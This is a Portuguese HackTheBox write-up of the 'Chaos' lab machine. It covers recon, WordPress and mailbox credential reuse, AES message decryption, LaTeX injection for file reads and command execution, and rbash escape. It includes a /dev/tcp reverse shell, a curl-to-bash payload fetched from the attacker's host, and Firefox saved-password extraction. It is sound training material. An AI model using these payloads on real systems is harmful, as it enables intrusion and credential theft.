> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md).

# Relato da máquina Chaos no HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Chaos>" %}

{% hint style="warning" %}
**Habilidades:**

* Adivinhação de Senha
* Abusando do serviço de e-mail (claws-mail)
* Desafio Cripto (Descriptografar Mensagem Secreta - Criptografada com AES)
* Injeção de LaTeX (RCE)
* Contornando rbash (Bash Restrito)
* Extraindo Credenciais do Perfil do Firefox
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/f4b999a37851000604c17a6a8f84658883642148" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/9c2766d9458300ee9d32afa5d4e741cb9b01adb6" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts
```

<figure><img src="/files/9ab185c035bc3c3adce8d89d3b604a7ebe5e1ef6" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com ExtractPorts (**&#x38;0.110,143.993.995,10000)

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

<figure><img src="/files/8e3a896c43cbf6b7f98120fe81160019cd8a1a73" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted
```

<figure><img src="/files/ba357e63a538f09e8c15252140bcfdd3d71b6a70" alt=""><figcaption></figcaption></figure>

## **Exploração**

#### **Porta 80 - Enumeração Web**

O acesso direto via IP está bloqueado. Portanto, adicionamos o `chaos.htb` domínio em `/etc/hosts`.

<figure><img src="/files/6fe82f15864e03479250fb60bb723d2823bcc041" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7031fa23daa988d2eca3fd8041695d103f1966e4" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/fd1ce8f198d9ec85e36533a394139dc05356dc51" alt=""><figcaption></figcaption></figure>

#### **Fuzzing de Diretórios**

```bash
gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

Sem resultados.

<figure><img src="/files/fec1f22600ca25fa74168f1a9750a4032f234788" alt=""><figcaption></figcaption></figure>

**Fuzzing via o endereço IP:**

```bash
gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

Encontramos uma pasta `/wp` indicando WordPress.

<figure><img src="/files/4488de5fe43c6eef894acc9ed1d523054831c18f" alt=""><figcaption></figcaption></figure>

Adicione o `wordpress.chaos.htb` subdomínio a `/etc/hosts`.

<figure><img src="/files/e22cee189fd912a462f250435d56cd91aceffb4d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/59faf0e9dc89c1c6671cda46aa79536b5d963a6a" alt="" width="563"><figcaption></figcaption></figure>

### **Enumeração do WordPress**

<figure><img src="/files/a21bd59d494ad31357fd2dd70396ef64671626db" alt=""><figcaption></figcaption></figure>

Encontramos um `Humano` usuário no WordPress.

<figure><img src="/files/3edd896561840fa9fc3093f967a5bc43ece621f3" alt=""><figcaption></figcaption></figure>

### **Adivinhação de Senha**

Um artigo do WordPress contém uma senha. Testamos `Humano` e funciona.

<figure><img src="/files/9125e521239e6bbb32d7551f8ed56f8aee6d8140" alt=""><figcaption></figcaption></figure>

Encontramos credenciais para um webmail:

* **nome de usuário**: ayush
* **senha**: jiujitsu

## **Porta 993/995 - Webmail**

A porta 993 indica um servidor de e-mail IMAP.

<figure><img src="/files/807f6f7ddaf7f2c590659fb9c1dc28489d05aa8e" alt=""><figcaption></figcaption></figure>

Usamos `claws-mail` para acessar a caixa de correio de Ayush.

```bash
claws-mail
```

<figure><img src="/files/f894e2430836332364ca1bd38aa301372671934f" alt="" width="415"><figcaption></figcaption></figure>

<figure><img src="/files/160c387c33262e9111590d69a8df6dc051bb22ef" alt="" width="563"><figcaption></figcaption></figure>

Em um e-mail, encontramos dois arquivos anexados e a mensagem:

> Oi, Sahay
>
> Confira o arquivo enmsg.txt. Você é a senha XD. Também anexei o script que usei para criptografar. Obrigado.

<figure><img src="/files/c768e3bab8edd719ff2bab365affe3375afccce4" alt=""><figcaption></figcaption></figure>

## **Descriptografar Mensagem Secreta - Criptografada com AES**

<figure><img src="/files/4430a0015ecd2dae51ad958369fd239fc7726896" alt=""><figcaption></figcaption></figure>

Identificamos um `decrypt.py` script no GitHub, que pertence ao mesmo projeto

<figure><img src="/files/fb26b03c529150616b3c43fc7492e17a44ff1a8c" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/vj0shii/File-Encryption-Script/blob/master/decrypt.py>" %}

#### Ao executar:

```bash
python3 decrypt.py
Digite o nome do arquivo: ./enim_msg.txt
Digite a senha: sahay
```

O conteúdo é decodificado com `base64`:

<figure><img src="/files/d9ea7fa4c7f120183f445a078940d320ed3fbacd" alt=""><figcaption></figcaption></figure>

```bash
cat im_msg.txt | base64 -d; echo
```

A mensagem revela um serviço LaTeX em `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3`

> **Oi Sahay,**
>
> Por favor, descubra nosso novo serviço que cria PDFs.
>
> P.S. – Como você me aconselhou, eu criptografei a mensagem importante.
>
> [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3)
>
> **Controles de bloqueio**
>
> Obrigado, **Ayush**
>
> Obrigado, Ayush

<figure><img src="/files/37c392b6c0be82983fcc019fded230ad10d0af1c" alt=""><figcaption></figcaption></figure>

## **Vulnerabilidade de Injeção de LaTeX**

### Injeção de LaTeX (leitor de arquivos)

<figure><img src="/files/1f4bc805ecb70eceaea51ec1f47f88e1fb128524" alt=""><figcaption></figcaption></figure>

Interceptamos a requisição

<figure><img src="/files/15eec83af4111be21f1fb4437a60fa20bfbcc696" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/54e8dc93b3d6b6800107f09cd416df2d842adbda" alt=""><figcaption></figcaption></figure>

#### Documento PDF LaTeX:

<figure><img src="/files/dc1033d75509029d53b61648d1a2d4055b65d499" alt=""><figcaption></figcaption></figure>

Injetamos:

```latex
/input{/etc/passwd}
/include{password}
```

<figure><img src="/files/ccca929efa7846e9f41b8c42d2908db1ec61e5b0" alt=""><figcaption></figcaption></figure>

### **Exploração de RCE em LaTeX**

Executamos um `id` comando via:

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file para/linha
/text{/linha}
/closein/file
```

<figure><img src="/files/55307d949b8b3131e66698502038672d2dc12966" alt=""><figcaption></figcaption></figure>

#### **Shell reverso**

Escutamos a porta 443:

```bash
nc -nvlp 443
```

Criamos um `index.html` script bash:

```bash
 #!/bin/bash
 bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Iniciamos um servidor web:

```bash
python3 -m http.server 80
```

Injeção da carga útil:

```latex
/immediate/write18{curl http://10.10.14.61 | bash > output}
/newread/file
/openin/file=output
/read/file para/linha
/text{/linha}
/closein/file
```

<figure><img src="/files/69419fe64ef2f595722f7fc7cfda0f3cf3c11020" alt=""><figcaption></figcaption></figure>

## **Escalada de privilégios**

### **Pivotando o Usuário Ayush - Contornar rbash**

Conectamo-nos como Ayush, mas estamos limitados a uma `rbash` shell.

<figure><img src="/files/c9d277cc6e4df44f212ba1785ddbb1e2c2e18aba" alt=""><figcaption></figcaption></figure>

Lista de comandos disponíveis:

```bash
compgen -c
```

Encontramos `tar` e contornar `rbash` com:

<figure><img src="/files/e3567e75eae49a293eb3db0be209f2ffc2fd983a" alt="" width="279"><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/tar/#shell>" %}

```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

<figure><img src="/files/6d7e9caf0d9aca3c3abe8784a6b6fe25d9d85ca0" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

Obtemos acesso a uma shell completa e recuperamos `user.txt`.

<figure><img src="/files/190b468c359b68d68246438dca14b1d2143df102" alt="" width="449"><figcaption></figcaption></figure>

## **Extração de Credenciais do Firefox**

No `.mozilla` na pasta de Ayush encontramos `key4.db` e `logins.json`.

<figure><img src="/files/0ebe74fd8a3b7836ea427fe64d92c1208955e587" alt=""><figcaption></figcaption></figure>

Nós os transferimos para nossa máquina:

<figure><img src="/files/229663d2b60cf24a6e9dc686eed4140efb4536e3" alt=""><figcaption></figcaption></figure>

```bash
python3 -m http.server 8080
wget -r chaos.htb:8080
```

<figure><img src="/files/fe39d41eac273d407b42562f60c7813ee06156d0" alt=""><figcaption></figcaption></figure>

Descriptografando IDs com `firefox_decrypt.py`:

{% embed url="<https://github.com/unode/firefox_decrypt>" %}

```bash
python3 firefox_decrypt.py chaos.htb:8080
```

Nós inserimos `jiujitsu` como a senha principal e recuperamos:

<figure><img src="/files/600c8d967c6fc9012976221fd455761d735a5501" alt=""><figcaption></figcaption></figure>

> Senha principal para o perfil chaos.htb:8080/bzo7sjt1.default
>
> Site: <https://chaos.htb:10000>
>
> Nome de usuário: 'root' Senha: 'Thiv8wrej/\~

Conexão root:

<figure><img src="/files/5ce4e27f46e9048cf0a1e9dff6dde3138af342b5" alt=""><figcaption></figcaption></figure>

### Bandeira root.txt

<figure><img src="/files/54d6ee4f37ab8f32ee02cd84a83331e8a2bbca9d" alt="" width="494"><figcaption></figcaption></figure>

<figure><img src="/files/3b7864e8291c19afac16c2be2d20aead79ce00e2" alt="" width="343"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.